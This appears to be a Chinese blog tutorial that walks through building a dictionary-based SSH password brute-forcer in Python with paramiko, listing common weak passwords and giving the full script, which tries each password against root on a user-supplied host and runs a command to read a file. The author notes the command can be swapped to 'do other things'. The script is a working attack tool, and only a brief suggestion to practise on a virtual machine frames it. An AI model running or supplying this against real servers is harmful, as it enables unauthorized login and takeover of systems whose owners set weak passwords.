相信大家都有使用过LINUX系统,一般我们对linux系统进行远程登陆的时候,都会使用ssh服务来实现远程登陆。而有时候,有些linux系统,因为管理员的疏忽,密码设置成为了弱密码,所以往往很多不法分子,就会通过ssh爆破密码,进行远程登陆,然后就可以为所欲为了(你懂的)。我这里只是ssh进去机子,直接获取他的文件内容而已,当然可以改一下命令,搞其他的东西。
我们这里的脚本,是利用字典,去进行密码爆破的,所以说,我们这里,需要准备一个字典,字典很简单,写几个字母在txt文件里,记住,一定要换行,弱口令密码一般是123456,root,toor,admin,654321,1234567之类的东西,当然,你也可以使用工具,去生成一个属于你自己的字典,不过一般都很大,要准备好一个相对较大的硬盘,不然你的机子会炸。记住文件路径一定要正确,要放在脚本放的目录那里,一定一定要正确。
没有paramiko模块的同学,要去安装,安装命令:pip3 install paramiko
paramiko模块是就相当于ssh,ssh很麻烦的,要什么颁发密钥啊之类的。
还有啊,你要进入ssh的靶机,一定一定一定要ping的通,不然,说什么都是假的,可以准备一台虚拟机去玩,过多几天,我会写一个关于安装虚拟机的博客,emmmmmm,现在不会的同学们,就去看其他博主的博客哈~
话不多说,让我们进入代码。
这个就是那个字典哈,名字可以随便改,只要代码那里也改了就好。
import paramiko
def sshclient_cmd(hostname,port,username,password,execmd):
try:
paramiko.util.log_to_file("paramiko.log")
s = paramiko.SSHClient()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
s.connect(hostname=hostname, port=port, username=username, password=password)
stdin,stdout,stderr = s.exec_command(execmd)
stdin.write("Y")
print (stdout.read())
s.close()
except:
print("ssh login was error")
def main(password,hostname):
port = 22
username = 'root'
# password = '123456'
execmd = 'cat ssh_flag.txt'
print(password)
sshclient_cmd(hostname, port, username, password, execmd)
def dicgen(hostname):
file_path = 'zidian.txt'
for line in open(file_path):
a = line.strip('\r').strip('\n')
main(a,hostname)
if __name__ == '__main__':
hostname = input("Please input your ssh target:")
dicgen(hostname)
麻烦各位老板,看小弟文章的时候,留下您的赞噢!关注我,拿到更多的干货!